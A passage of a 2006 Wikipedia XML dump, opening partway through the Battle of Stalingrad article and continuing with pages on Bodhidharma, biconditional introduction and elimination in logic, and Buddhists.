Only 6,000 of the 91,000 German [[prisoner of war|prisoners of war]] survived their captivity and returned home. Already weakened by disease, starvation and lack of medical care during the encirclement, they were sent to [[labour camp]]s all over the Soviet Union, where most of them died of overwork and malnutrition. A handful of senior officers were taken to [[Moscow]] and used for propaganda purposes. Some, including Paulus, signed anti-Hitler statements which were broadcast to German troops. General [[Walther von Seydlitz-Kurzbach]] offered to raise an anti-Hitler army from the Stalingrad survivors, but the Soviets did not accept this offer. It was not until 1955 that the last of the handful of survivors were [[repatriated]].

The German public was not officially told of the disaster until the end of January 1943, though positive reports in the German propaganda media about the battle had stopped in the weeks before the announcement. It was not the first major setback of the German military, but the crushing defeat at Stalingrad was unmatched in scale. On [[February 18]] the [[minister]] of [[propaganda]], [[Joseph Goebbels]], gave his famous [[Sportpalast speech]] in Berlin, encouraging the Germans to accept a [[total war]] which would claim all resources and efforts from the entire population.

By any measure the battle of Stalingrad was arguably the largest single battle in human history. It raged for 199 days. Numbers of casualties are difficult to compile owing to the vast scope of the battle and the fact the Soviet government didn't allow estimates to be run for fear the cost would have proven too high. In its initial phases, the Germans inflicted heavy casualties on Soviet formations, however, the Soviet counter strike cut off and annihilated the entire 6th Army (which was exceptionally strong) and parts of the 4th Panzer Army. Various [[scholar]]s have estimated the Axis suffered 850,000 casualties of all types among all branches of the German armed forces and its allies: 400,000 Germans, 200,000 Romanians, 130,000 Italians, 120,000 Hungarians were killed, wounded or missing. An unusually high proportion of total German casualties were killed and captured (96,000 of whom were prisoners). In addition, and as many as 50,000 [[turncoat]] Soviets were killed or captured by the Red Army. Soviet military losses are disputed. According to archival figures, the Red Army suffered 478,741 men killed and 650,878 wounded (for a total of 1,129,619). These numbers, however, include a wide scope of operations. More than 40,000 Soviet civilians died in Stalingrad and its suburbs during a single week of aerial bombing as the 6th and 4th  armies approached the city; the total number of civilians killed in the regions outside the city is unknown. In all, a total of anywhere from 1.7 million to 2 million Axis and Allied casualties resulted from the battle, making it by far the largest in human history.

For the heroism of the Soviet defenders of Stalingrad, the city was awarded the title [[Hero City]] in 1945. After the war, in the 1960s, a colossal [[monument]] of &quot;[[Mother Motherland|Mother Russia]]&quot; was erected on [[Mamayev Kurgan]], the hill overlooking the city. The statue forms part of a [[War memorial|memorial]] complex which includes ruined walls deliberately left the way they were after the battle. The Grain Elevator, as well as [[Pavlov's House]], the apartment building whose defenders eventually held out for two months until they were relieved, can still be visited. One may, even today, find bones and rusty metal splinters on Mamayev Kurgan, symbol of both the human suffering during the battle and the successful yet costly resistance against the German invasion.
[[Image:Mutter Heimat.jpg|thumb|200px|The 85-meter-tall statue of [[Mother Motherland]] crowns the [[Mamayev Kurgan]].]]

==External links==
*[http://www.stalingrad-info.com Stalingrad-info.com, many Pictures from the battle and the city]
*[http://panorama.volgadmin.ru/ Volgograd State Panoramic Museum official homepage]
*{{ru icon}} [http://www.stalingrad.ws/ Stalingrad Battle] This site is sponsored by the main historical and culture organizations of Volgograd.
*{{en icon}} {{de icon}} [http://www.stalingrad.com.ru/ Stalingrad] (in English and German). Many photos and various information on the battle.
*[http://www.columbia.edu/~lnp3/mydocs/culture/Battle_of_Stalingrad.htm The Battle of Stalingrad in Film and History] Written with strong Socialist/Communist political under and overtones.
*[http://www.militaryhistoryonline.com/wwii/stalingrad/default.aspx The Battle of Stalingrad] The Battle of Stalingrad in detail.
*[http://www.katardat.org/marxuniv/2002-SUWW2/Images/images05-stalingrad.html Stalingrad 1942-1943: Photos from the Soviet photographer Georgii Anatolyevian Zelma]
*[http://katardat.org/marxuniv/2002-SUWW2/Images/images06-stalingrad.html Stalingrad 1942-1943: Pictures by Soviet photographers]
*[http://katardat.org/marxuniv/2002-SUWW2/Images/images10-Stalingrad.html Stalingrad 1942-1943: Photos from the Archive of Stalingrad (Volgograd)]
*[http://www.geocities.com/roav1945/koby.html Soviet Artilleryman's Story Of Stalingrad: Isaak Kobylyanskiy]

==Dramatization==
* ''[[Stalingrad: Dogs, Do You Want to Live Forever?]]'' (''Hunde, wollt ihr ewig leben?''), a 1958 [[West Germany|West German]] film directed by [[Frank Wisbar]]
* ''[[Stalingrad (1993 movie)|Stalingrad]]'', a 1993 [[Germany|German]] film directed by [[Joseph Vilsmaier]]
* ''[[Enemy at the Gates]]'', a 2001 British film which dramatized and in some cases fictionalized elements of real exploits by [[sniper]] [[Vasily Alexandrovich Zaitsev|Vasily Zaitsev]]. Directed by [[Jean-Jacques Annaud]] and starring [[Jude Law]], [[Joseph Fiennes]], [[Ed Harris]] and [[Rachel Weisz]]
* The [[Feindflug]] song ''[[Roter Schnee]]''
* ''[[War Of The Rats]]'', a 1999 novel by David L. Robbins, which was later to be the foundation of the 2001 film, ''[[Enemy at the Gates]]''

==References==
* [[Antony Beevor]] (1998), ''[[Stalingrad: The Fateful Siege 1942-1943]]'', Viking, 1998, hardcover, ISBN 0670870951; paperback, 1999, ISBN 0140284583
* [[William Craig (author)|William Craig]] (1973), ''Enemy at the Gates: the Battle for Stalingrad''. New York, Penguin Books. ISBN 0142000000
* Joachim Wieder et al, ''Stalingrad - Memories and Reassessments'', Weidenfeld &amp; Nicholson, 1998. ISBN 1854094602

{{World War II}}

[[Category:Battle of Stalingrad|*]]
[[Category:Battles of Germany|Stalingrad]]
[[Category:Battles of Italy|Stalingrad]]
[[Category:Battles of Romania|Stalingrad]]
[[Category:Battles of the Soviet Union|Stalingrad]]
[[Category:Soviet-German War|Stalingrad]]
[[Category:Battles of Russia|Stalingrad]]

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[[zh:斯大林格勒战役]]</text>
    </revision>
  </page>
  <page>
    <title>Bodhidharma</title>
    <id>4285</id>
    <revision>
      <id>42112484</id>
      <timestamp>2006-03-03T22:25:00Z</timestamp>
      <contributor>
        <username>Sunil vasisht</username>
        <id>783033</id>
      </contributor>
      <text xml:space="preserve">[[Image:BodhidharmaYoshitoshi1887.jpg|thumb|250px|'''Bodhidharma''', [[woodblock]] print by [[Yoshitoshi]], [[1887]].]]
'''Bodhidharma''' ([[Sanskrit]]: बोधिधर्म
[[Chinese language|Chinese]] &amp;#33769;&amp;#25552;&amp;#36948;&amp;#25705;, 
[[pinyin]] '''Pútídámó''' or simply '''Dámó'''; [[Wade-Giles]] 
'''Tamo'''; [[Japanese language|Japanese]] &amp;#12480;&amp;#12523;&amp;#12510;, 
'''[[Daruma]]''', [[Vietnamese language|Vietnamese]]: ''Bồ-đề-đạt-ma''), also known as the '''[[Tripitaka]] [[Dharma]] Master''', 
was a legendary [[Buddhist]] [[monk]].
Bodhidharma is traditionally held in Shaolin mythology to be the founder of the [[Chan]] school of [[Buddhism]] (known in [[Japan]] and the West as [[Zen]]), 
and the [[Shaolin]] school of [[Chinese martial arts]].

==Biography==
The major sources about Bodhidharma's life conflict with regard to his origins, the chronology of his journey to [[China]], his death, and other details.One proposed set of birth and death dates is c. [[440]]&amp;ndash;[[528]] CE; another is c. [[470]]&amp;ndash;[[543]] CE.

===Biographical details from the ''Record of the Buddhist Monasteries of Luoyang'' (547) by Yang Xuanzhi===
The earliest historical record of Bodhidharma was compiled in 547 by [[Yang Xuanzhi]], the ''[[Luoyang Qielanji|Record of the Buddhist Monasteries of Luoyang]]'', in which Yang identifies Bodhidharma as a [[Persians|Persian]] Central Asian ([[Wade-Giles]]: ''po-szu kuo hu-jen'') (Broughton, 1999, p. 54, p.138).

&lt;blockquote&gt;At that time there was a monk of the Western Region named Bodhidharma, a Persian Central Asian. He traveled from the wild borderlands to China. Seeing the golden disks [on the pole on top of Yung-ning's [[stupa]]] reflecting in the sun, the rays of light illuminating the surface of the clouds, the jewel-bells on the stupa blowing in the wind, the echoes reverberating beyond the heavens, Bodhidharma sang its praises.  He exclaimed:  &quot;Truly this is the work of spirits.&quot;  He said:  &quot;I am 150 years old, and I have passed through numerous countries.  There is virtually no country I have not visited.  But even in India there is nothing comparable to the pure beauty of this monastery.  Even the distant Buddha realms lack this.&quot;  He chanted homage and placed his palms together in salutation for days on end.&lt;/blockquote&gt;

Yongning was built in 516 and destroyed in 526, dating Bodhidharma's exultation to these years.

===Biographical details from the ''Biography'' of Bodhidharma by Tanlin===
Bodhidharma's disciple [[Tanlin]] identifies his master as [[South_India#The people|South Indian]] (Broughton, 1999, p. 8).

&lt;blockquote&gt;The Dharma Master was a South Indian of the Western Region. He was the third son of a great Indian King....His ambition lay in the Mahayana path, and so he put aside his white layman's robe for the black robe of a monk....Lamenting the decline of the true teaching in the outlands, he subsequently crossed distant mountains and seas, traveling about propagating the teaching in Han and Wei.&lt;/blockquote&gt;

The ''Biography'' is part of the ''[[Long Scroll of the Treatise on the Two Entrances and Four Practices]]'', which [[Daisetz Teitaro Suzuki]] found in 1935 by going through the [[Mogao_Caves|Dunhuang]] collection of the Chinese National Library.

===Biographical details from the ''Continued Biographies of Eminent Monks'' (645) by Daoxuan===
The entry for Bodhidharma is almost entirely drawn from the first two sections of the ''Long Scroll'' (Tanlin's ''Biography'' and the ''Two Entrances'', traditionally attributed to Bodhidharma himself), to which [[Daoxuan]] added the following:
; Caste background : Daoxuan writes that Bodhidharma's father is [[Brahmin]]. However, as a king, he is more likely to have been from the [[Kshatriya]] [[caste]] ([[Varma]]).
; Age : Daoxuan takes his figure for Bodhidharma's age from the ''Record of the Buddhist Monasteries of Luoyang''.
; The duration of Daoyu and Huike's service to Bodhidharma : Tanlin's original says &quot;several&quot; years. Daoxuan gives a figure of &quot;four or five&quot;.
; The route of Bodhidharma's journey : Tanlin's original says only that Bodhidharma &quot;crossed distant mountains and seas&quot; on the way to his ultimate destination, [[Northern_Wei_Dynasty|the northern Chinese kingdom of Wei]]. In Daoxuan's account, Bodhidharma travels to by sea to [[North_China_and_South_China|southern China]] and then makes his way north, eventually crossing the [[Yangtze River]], according to legend, on a reed.
; The date of Bodhidharma's journey : Daoxuan says that Bodhidharma makes landfall in [[Song_Dynasty_(420-479)|the southern Chinese kingdom of Song]], making his arrival in China no later than that kingdom's fall to [[Qi_Dynasty|Qi]] in [[479]].
; Bodhidharma's death : Bodhidharma dies at Luo River Beach. His interment by Huike on a bank of the river, possibly in a cave, is unusual because masters of Bodhidharma's reputation typically receive elaborate funerals. According to Daoxuan's chronology, Bodhidharma must have died before 534, when the Northern Wei falls, because Huike leaves Luoyang for Ye at that point. The use of the Luo River Beach as an execution grounds suggests that Bodhidharma may have died in the mass executions at Heyin in 528. A report in ''[[Taishou shinshuu daizoukyou]]'' states that a Buddhist monk was among the victims.

[[Image:Bodhidarma.jpg|thumb|left|This Japanese scroll calligraphy of '''Bodhidharma''' reads &amp;#8220;Zen points directly to the human heart, see into your nature and become [[Buddha]]&amp;#8221;.  It was created by [[Hakuin Ekaku]] ([[1685]] to [[1768]])]]

===Biographical details from the ''Anthology of the Patriarchal Hall'' (952)===
The version of the Bodhidharma legend found in the ''[[Zutangji|Anthology of the Patriarchal Hall]]'' follows Daoxuan but is distinguished by the following:
* Bodhidharma's master Prajnatara, 27th Chan Patriach
* Bodhidharma's birth name Bodhitara
* Bodhidharma makes landfall not during the [[Song_Dynasty_(420-479)|Song period]] of southern China but in 527 during the [[Liang Dynasty]]. According to the ''Anthology'', Bodhidharma's voyage from India to China took three years.
* Before crossing the Yangtze River en route to Wei, Bodhidharma visits the Liang court in present-day [[Nanjing]], but leaves soon after his uncompromising doctrines end up offending [[Emperor_Wu_of_Liang_China|Emperor Wu]].
* Bodhidharma dies at the age of 150 and is buried on Mount Xiong'er to the west of Luoyang. Three years later in the [[Pamir Mountains]], Songyun, an envoy of one of the later Wei kingdoms, encounters Bodhidharma, who is on his way back [[West]]. Bodhidharma, carrying a single sandal, predicts that Songyun's ruler has died, which is borne out upon Songyun's return. Bodhidharma's tomb is opened and only a single sandal is found inside. The nine years of meditation after his departure from the Liang court in 527 mean that Bodhidharma's death can take place no earlier than 536, but his encounter with the Wei diplomat mean that his death can take place no later than 554, three years before the fall of the [[Western_Wei_Dynasty|last Wei kingdom]].

==Spiritual approach==
[[Image:CentralAsianBuddhistMonks.JPG|thumb|220px|Blue-eyed Central Asian Buddhist monk, possibly Bodhidharma, forming the &quot;Vitarka&quot; [[mudra]] (Symbol of teaching/ discussion of the [[dharma]]), in the direction of a disciple East-Asian monk. Eastern [[Tarim Basin]], China, 9th-10th century.]]
Tradition holds that Bodhidharma's chosen sutra was the  [[Lankavatara Sutra]], a development of the [[Yogacara]] or &quot;Mind-only&quot; school of Buddhism established by the [[Gandhara]]n half-brothers [[Asanga]] and [[Vasubandhu]].  He is described as a &quot;master of the Lankavatara Sutra&quot;, and an early history of Zen in China is titled &quot;Record of the Masters and Disciples of the Lankavatara Sutra&quot; (Chin. Leng-ch'ieh shih-tzu chi).  It is also sometimes said that Bodhidharma himself was the one who brought the Lankavatara to Chinese Buddhism. 

Bodhidharma's approach tended to reject devotional rituals, doctrinal 
debates and verbal formalizations, in favour of an intuitive grasp of 
the &quot;Buddha mind&quot; within everyone, through [[meditation]]. In contrast 
with other Buddhist schools such as [[Pure Land]], Bodhidarma 
emphasized personal [[enlightenment (Buddhism)|enlightenment]], rather than the promise 
of [[heaven]].

Bodhidharma also considered spiritual, intellectual and physical excellence as an indivisible whole necessary for enlightenment.
Bodhidharma's mind-and-body approach to enlightenment ultimately 
proved highly attractive to the [[Samurai]] class in Japan, who made 
[[Zen]] their way of life, following their encounter with the 
martial-arts-oriented Zen [[Rinzai School]] introduced to Japan by 
[[Eisai]] in the [[12th century]].

According to legend, he developed two exercise regimens for the monks of the Shaolin Monastery&amp;mdash;the “Yi Jin Jing” (Muscle Change Classic) and the  “Xi Sui Jing” (Marrow Washing Classic)&amp;mdash;which supposedly became the basis of the [[Shaolin (martial arts)|Shaolin style]] of [[Kung fu|Kung Fu]] and subsequently an important influence on the [[martial art]]s of [[East Asia]] in general.
However, it is difficult to determine the veracity of the Shaolin legend.
The ''[[Taiping Guangji|Extensive Records of the Taiping Era]]'' record that, prior to Bodhidharma's arrival in China, monks practiced wrestling for recreation.
Shaolin monastery records state that two of its very first monks, Hui Guang and Seng Chou, were expert in the martial arts years before the arrival of Bodhidharma. 
The exercises attributed to Bodhidharma are consistent with Chinese [[qigong]] exercises and look little like Indian forms of bodywork like [[yoga]].
Scholarship by Chinese martial arts historians has demonstrated that the [[Yijinjing|Yijin jing]] and Xisuijing are most likely Ming dynasty (1368-1644) texts due to the presence of technical terminology from the Daoist &quot;inner alchemy&quot; (neidan) tradition which reached its maturity in the Song.  This argument is summarized by modern historian Lin Boyuan in his ''Zhongguo wushu shi'' as follows:

&lt;blockquote&gt;As for the “Yi Jin Jing” (Muscle Change Classic), a spurious text attributed to Bodhidharma and included in the legend of his transmitting martial arts at the temple, it was writtin in the Ming dynasty, in 1624 CE, by the Daoist priest Zining of Mt. Tiantai, and falsely attributed to Bodhidharma.  Forged prefaces, attributed to the Tang general Li Jing and the Southern Song general Niu Hao were written.  They say that, after Bodhidharma faced the wall for nine years at Shaolin temple, he left behind an iron chest; when the monks opened this chest they found the two books “Xi Sui Jing” (Marrow Washing Classic) and “Yi Jin Jing” within.  The first book was taken by his disciple Huike, and disappeared; as for the second, “the monks selfishly coveted it, practicing the skills therein, falling into heterodox ways, and losing the correct purpose of cultivating the Real.  The Shaolin monks have made some fame for themselves through their fighting skill; this is all due to having obtained this manuscript.”  Based on this, Bodhidharma was claimed to be the ancestor of Shaolin martial arts.  This manuscript is full of errors, absurdities and fantastic claims; it cannot be taken as a legitimate source. (Lin Boyuan, ''Zhongguo wushu shi'', Wuzhou chubanshe, p. 183)&lt;/blockquote&gt;


While early legends associate Bodhidharma with Mt. Song, where the Shaolin temple is located, it is not until the 11th century that we see the appearance of a hagiographical record (in the &quot;Jingde Record of the Transmission of the Lamp,&quot; ''Jingde chuandeng lu'') explicitly associating Bodhidharma with the Shaolin temple.  No mention of Bodhidharma is found in any of the many stele inscriptions preserved at the Shaolin temple from the Tang dynasty.

Legend also associates Bodhidharma with the use of [[tea]] to maintain wakefulness in meditation (the origin of [[Chado]]), and favoured [[paradoxes]], [[conundrum]]s and provocation as a way to break intellectual rigidity (a method which led to the development of [[koan]]).

==Portrayals of Bodhidharma==
Throughout [[Buddhist art]], Bodhidharma is depicted as a rather 
ill-tempered, profusely bearded and wide-eyed barbarian.  He is 
described as &quot;The Blue-Eyed Barbarian&quot; in Chinese texts.

Chan texts also present Bodhidharma as the 28th Chan Patriarch, in an 
uninterrupted line starting with the [[Gautama Buddha|Buddha]], 
through direct and non-verbal transmission.

==Legends==

===Encounter with Emperor Liang===
According to tradition, around 520, during the period of the [[Southern_dynasties|Southern Dynasties]], Bodhidharma was invited to an audience with [[Emperor_Wu_of_Liang_China|Emperor Wudi]] of the [[Liang Dynasty]].

When the Emperor asked him how much merit he had accumulated through building temples and endowing monasteries, Bodhidharma replied, &quot;None at all.&quot;

Perplexed, the Emperor then asked, &quot;Well, what is the fundamental 
teaching of [[Buddhism]]?&quot;

&quot;Vast emptiness, nothing sacred,&quot; was the bewildering reply.

&quot;Listen,&quot; said the Emperor, now losing all patience, 
&quot;just who do you think you are?&quot;

&quot;I have no idea,&quot; Bodhidharma replied.

With this, Bodhidharma was banished from the Court, and is said to 
have sat in [[meditation]] for the next nine years &quot;listening to the 
ants scream&quot;.

===Nine years of gazing at a wall===
Bodhidharma traveled to northern China, to the recently constructed [[Shaolin]] Monastery, where the monks refused him admission.
Bodhidharma sat meditating facing a wall for the next 9 years, boring holes into it with his stare.
Having earned the monks' respect, Bodhidharma was finally permitted to enter the monastery.
There, he found the monks so out of shape from lives spent hunched over scrolls that he introduced a regimen of exercises which later became the foundation of [[Shaolin (martial arts)|Shaolin kung fu]], from which many schools of [[Chinese martial arts|Chinese martial art]] claim descent.

Historically, it is unlikely that Bodhidharma invented [[kung fu]].
There are martial arts manuals that date back to at least the [[Han_dynasty|Han Dynasty]] ([[202 BCE]]&amp;ndash;[[220]] CE), predating both Bodhidharma and the Shaolin Temple.
The codification of the martial arts by monks most likely began with military personnel who retired to monasteries or sought [[sanctuary]] there.
Within the refuge of the monastery, unlike on an unforgiving battlefield, such individuals could, confident in their safety, exchange expertise and perfect their techniques.

===Bringing tea to China===
Japanese legends credit Bodhidharma with bringing [[tea]] to China.  
Supposedly, he cut off his eyelids while meditating, to keep from 
falling asleep.  Tea bushes sprung from the spot where his eyelids 
hit the ground.  It is said that this is the reason for tea being 
so important for meditation and why it helps the meditator to not fall asleep.
This legend is unlikely as tea use in China predates Chan Buddhism in China.
According to Chinese mythology, in 2737 BC the Chinese Emperor, Shennong, scholar and herbalist, was sitting beneath a tree while his servant boiled drinking water.
A leaf from the tree dropped into the water and Shennong decided to try the brew.
The tree was a wild tea tree.
There is an early mention of tea being prepared by servants in a Chinese text of 50 B.C. The first detailed description of tea-drinking is found in an ancient Chinese dictionary, noted by Kuo P'o in A.D. 350.

===Daruma dolls===
{{main|Daruma doll}}
It is also reported that after years of meditation, Bodhidharma lost the usage of his legs.  This legend is still alive in Japan, where legless [[Daruma]] dolls represent Bodhidharma, and are used to make wishes.

===Bodhidharma and Huike===
Bodhidharma was the first Zen [[patriarch]] of China.
All later Chinese and Japanese Zen masters trace their master-disciple lineage to him.
[[Huike]], who was to become the second patriach, was first ignored when he tried to approach him, and left outside in the snow, until he cut his own arm and offered it to the Master. (This is supposedly the origin of the famous 'one hand salute' of the monks who came after him).
Bodhidharma later transmitted to him the insignia of the patriarchs:  the robe, the Buddha's begging bowl, and a copy of the Lankavatara Sutra.

The legend of Huike's self-dismemberment is likely apocryphal. According to Daoxuan, wandering bandits cut off Huike's arm.

==The lineage of Bodhidharma and his disciples==
Although Bodhidharma is commonly said to have had two primary disciples (the monks Daoyu and Huike), a common voice in the &quot;Records&quot; of the ''Long Scroll'' is that of a Yuan, possibly identified with the nun Dharani who was said to have received Bodhidharma's flesh &amp;mdash; his bones having been received by Daoyu, and his marrow received by Huike.
A list of Bodhidharma's early students follows.

* Bodhidharma
** [[Daoyu]]
** [[Yuan (disambiguation)|Yuan]] ([[Yuan-chi]]?)
*** [[Tao-chih]]
** [[Huike]]
*** [[Huineng]]
*** [[Layman Hsiang]]
*** [[Hua-kung]]
*** [[Yen-kung]]
*** [[Tanlin]]
*** [[Dhyana Master Na]]
*** [[Dhyana Master Ho]]
**** [[Hsuan-ching]]
***** [[Hsuan-chueh]]
**** [[Ching-ai]]
***** [[T'an-yen]]
***** [[Tao-an]]
***** [[Tao-p'an]]
***** [[Chih-tsang]]
***** [[Seng-chao]]
***** [[P'u-an]]
****** [[Ching-yuan]]

== Works attributed to Bodhidharma ==

* ''The Bloodstream Sermon''
* ''The Breakthrough Sermon''
* ''The Outline of Practice''
* ''Two Entrances''
* ''The Wake-Up Sermon''

== See also ==

* [[Buddhism in China]] 
* [[Culture hero]]
* [[List of Buddhist topics]]

== External links ==

* [http://www.bodhidharma.com.br Bodhidharma's martial art tradition]
* [http://www.aboutshaolin.com Learn everything about Bodhidharma in the Official English Songshan Shaolinsi Temple Portal]
* [http://tekct.hit.bg/judo/Zen-And-The-Martial-Arts.pdf Zen and the Martial Arts by Ming Zheng Shakya (PDF)]
* [http://www.onmarkproductions.com/html/daruma.shtml Bodhidharma]
* [http://darumasan.blogspot.com/ Bodhidharma Museum Japan] Gabi Greve
* [http://www.i-bodhidharma.com.br International Philosofical Martial Arts Institute]

== References ==

* {{cite book | author=Broughton, Jeffrey L. | title=The Bodhidharma Anthology: The Earliest Records of Zen | publisher=Berkeley: University of California Press | year=1999 | id=ISBN 0520219724}}
* Tom Lowenstein, ''The Vision of the Buddha''. Duncan Baird Publishers, London. ISBN 1903296919
* Red Pine, translator; ''The Zen Teaching of Bodhidharma''. North Point Press, New York. (1987)
* Alan Watts, ''The Way of Zen''. ISBN 0375705104
* Paul Williams, ''Mahayana Buddhism: The Doctrinal Foundations''. ISBN 0415025370
* Andy Ferguson, ''Zen's Chinese Heritage''. ISBN 0861711637 contains a translation of ''The Outline of Practice''

{{start box}}
{{succession box|title=Buddhist Patriach|before=[[Prajnatara]]|after=Title Extinct|years=}}
{{end box}}
{{start box}}
{{succession box|title=Chinese Ch'an Patriarch|before=New Creation|after=[[Huike|Hui Ke]]|years=}}
{{end box}}

{{Buddhism2}}

[[Category:Zen Patriarchs]]
[[Category:Indian philosophers]]

[[ca:Bodhidharma]]
[[pt:Bodhidharma]]
[[cs:Bódhidharma]]
[[de:Bodhidharma]]
[[es:Bodhidharma]]
[[eo:Bodhidharmo]]
[[fr:Bodhidharma]]
[[ko:달마]]
[[it:Bodhidharma]]
[[he:בודהידהרמה]]
[[nl:Bodhidharma]]
[[ja:達磨]]
[[pl:Bodhidharma]]
[[ru:Бодхидхарма]]
[[sk:Bódhidharma]]
[[th:พระโพธิธรรม]]
[[vi:Bồ-đề-đạt-ma]]</text>
    </revision>
  </page>
  <page>
    <title>Biconditional introduction</title>
    <id>4286</id>
    <revision>
      <id>15902566</id>
      <timestamp>2005-03-12T20:06:56Z</timestamp>
      <contributor>
        <username>Sketchee</username>
        <id>140933</id>
      </contributor>
      <minor />
      <comment>[[Category: Logic]] [[Category: Mathematical terminology]]</comment>
      <text xml:space="preserve">'''Biconditional introduction''' is the inference that, if B follows from A, and A follows from B, then A [[if and only if]] B.

For example: if I'm breathing, then I'm alive; also, if I'm alive, then I'm breathing.  Therefore, I'm breathing if and only if I'm alive.

Formally:

  ( A &amp;rarr; B )
  &lt;u&gt;( B &amp;rarr; A )&amp;nbsp;&amp;nbsp;&lt;/u&gt;
  &amp;there4; ( A &amp;harr; B )

[[Category:Logic]]
[[Category:Mathematical terminology]]</text>
    </revision>
  </page>
  <page>
    <title>Biconditional elimination</title>
    <id>4287</id>
    <revision>
      <id>15902567</id>
      <timestamp>2005-05-26T20:46:50Z</timestamp>
      <contributor>
        <username>GregorB</username>
        <id>179697</id>
      </contributor>
      <comment>Category:Logic</comment>
      <text xml:space="preserve">'''Biconditional elimination''' allows one to infer a conditional from a biconditional: if ( A &lt;small&gt;&amp;harr;&lt;/small&gt; B ) is true, then one may infer one direction of the biconditional, either ( A &lt;small&gt;&amp;rarr;&lt;/small&gt; B ) or ( B &lt;small&gt;&amp;rarr;&lt;/small&gt; A ).

For example, if it's true that I'm breathing [[if and only if]] I'm alive, then it's true that if I'm breathing, I'm alive; likewise, it's true that if I'm alive, I'm breathing.

Formally:

  &lt;u&gt;( A &amp;harr; B )&amp;nbsp;&amp;nbsp;&lt;/u&gt;
  &amp;there4; ( A &amp;rarr; B )

also  

  &lt;u&gt;( A &amp;harr; B )&amp;nbsp;&amp;nbsp;&lt;/u&gt;
  &amp;there4; ( B &amp;rarr; A )

[[Category:Logic]]</text>
    </revision>
  </page>
  <page>
    <title>Buddhist</title>
    <id>4290</id>
    <revision>
      <id>28000221</id>
      <timestamp>2005-11-11T06:03:20Z</timestamp>
      <contributor>
        <username>TenOfAllTrades</username>
        <id>142435</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/207.213.64.189|207.213.64.189]] to last version by 68.42.89.159</comment>
      <text xml:space="preserve">#REDIRECT [[Buddhism]]</text>
    </revision>
  </page>
  <page>
    <title>Buddhists</title>
    <id>4291</id>
    <revision>
      <id>40292098</id>
      <timestamp>2006-02-19T16:02:46Z</timestamp>
      <contributor>
        <username>Localzuk</username>
        <id>687650</id>
      </contributor>
      <comment>[[WP:AWB|AWB assisted]] migrate {{[[template:book reference|book reference]]}} to {{[[template:cite book|cite book]]}}</comment>
      <text xml:space="preserve">The adherents of '''[[Buddhism]]''', monks and laypeople alike are known as '''Buddhists'''.

Numbering over 350 million people, Buddhists spread all over the nations of [[South East Asia]], the [[Indian subcontinent]], [[China]], [[Korea]] and [[Japan]]. Small Buddhist communities are also found in [[Western Europe]] and [[North America]]. 

The following is a comprehensive aspect of the dominant forms of Buddhism along with the primary regions with which they are associated.
*[[Theravada Buddhism]]: parts of [[India]], [[Sri Lanka]], [[Myanmar]] (where it is imposed as the state religion),[[Thailand]], [[Laos]], [[Cambodia]], parts of [[Vietnam]] (along the [[Mekong Delta]] frontier with Cambodia, the so-called &quot;Khmer Krom&quot; region), and parts of [[China]] (in [[Yunnan]], [[Guangxi]], and [[Sichuan]]).
*[[Mahayana Buddhism]]: most of [[China]] (including [[Hong Kong]] and [[Macau]]), [[Korea]], [[Japan]], [[Singapore]], [[Taiwan]], and most of [[Vietnam]].
*[[Vajrayana Buddhism]]: 
**[[Tibetan Buddhism]]: found in Tibet (and adjacent areas of [[China]]), [[North India]], [[Bhutan]], [[Nepal]], southwestern [[China]], [[Mongolia]] and, various [[Constituent republic]] of [[Russia]] that are adjacent to the area, such as: [[Amur Oblast]], [[Buryatia]], [[Chita Oblast]], [[Tuva Republic]], and [[Khabarovsk Krai]]. There is also [[Kalmykia]], another constituent republic of Russia that is the only Buddhist region in Europe.
**[[Shingon Buddhism]] or &quot;True Word&quot; Buddhism: found in Japan. 

At the present time the teachings of all three branches of Buddhism have spread throughout the world and are now easily available in western countries, and increasingly translated into local languages. 

It is believed that [[China]] is the only country where all of the major sects of Buddhism have significant numbers of followers.


==References==
*{{cite book | author=Coogan, Michael D. (ed.) | title=The Illustrated Guide to World Religions | publisher=Oxford University Press | year=2003 | id=ISBN 1-84483-125-6}}
* {{web-cite|ref=Dhammananda_64|author=[[K. Sri Dhammananda]]|page=http://www.buddhanet.net/pdf_file/whatbelieve.pdf|title=What the Buddha Taught|site=Buddhist Mission Society of Malaysia|date=1964}}  ISBN 9834007127.
*{{cite book | author=Gethin, Rupert | title=Foundations of Buddhism | publisher=Oxford University Press | year=1998 | id=ISBN 0192892231}}
*{{cite book | author=Gunaratana, Bhante Henepola | title=Mindfulness in Plain English | publisher=Wisdom Publications | year=2002 | id=ISBN 0861713214}}
*{{cite book | author=Lowenstein, Tom | title=The vision of the Buddha | publisher=Duncan Baird Publishers | year=1996 | id=ISBN 1903296919}}
* {{cite|ref=Hanh_74|author=[[Thich Nhat Hanh]]|title=The Heart of the Buddha's Teaching|publisher=Broadway Books|date=1974}}  ISBN 0767903692.
*{{cite book | author=[[Robert A. F. Thurman|Thurman, Robert A. F.]] (translator) | title=Holy Teaching of Vimalakirti: Mahayana Scripture | publisher=Pennsylvania State University Press | year=1976 | id=ISBN 0271006013}}
* {{cite|ref=Rahula_74|author=[[Walpola Rahula]]|title=What the Buddha Taught|publisher=Grove Press|date=1974}}  ISBN 0802130313.
*{{cite book | author=Yamamoto, Kosho (translation), revised and edited by Dr. Tony Page | title=The [[Mahayana Mahaparinirvana Sutra]]| publisher=(Nirvana Publications 1999-2000)}}
* {{cite|ref=Yin_98|author=[[Yin Shun]], Yeung H. Wing (translator)|title=The Way to Buddhahood: Instructions from a Modern Chinese Master|publisher=Wisdom Publications|date=1998}}  ISBN 0861711335.

==External links==
{{commons|Buddhism}}
* [http://Buddha.2be.net/ Buddhist Search Directory] The world largest Buddhist directory with full functional search and graphical thumbnail preview.
* [http://www.columbia.edu/itc/mealac/pritchett/00ambedkar/ambedkar_buddha/index.html The Buddha And His Dhamma] the Buddhist Bible by 20th century Indian Buddhist Revivalist Bodhisattva Dr. B. R. [[Ambedkar]]
* [http://www.buddhachat.org/ BuddhaChat.org]
* [http://www.dharmaWeb.org/ DharmaWeb.org]
* [http://www.longleaf.net/ggrow/Buddhism.html Buddhism - A Brief Introduction for Westerners]
* [http://www.accesstoinsight.org/bfaq.html FAQ about Buddhism from Access to Insight]
* [http://www.ohbliss.org/en/buddhism_faq.html Beginning Buddhism FAQ]
* [http://www.soyouwanna.com/site/syws/buddhism/buddhism.html SoYouWanna convert to Buddhism?]
* [http://www.buddhanet.net/ BuddhaNet]
* [http://www.fwbo.org/buddhism.html/ Equmenical Buddhism ]
* [http://www.buddhanet.net/dhammapada/index.htm &quot;Treasury of Truth&amp;quot;] illustrated &quot;Dhammapada.&quot;
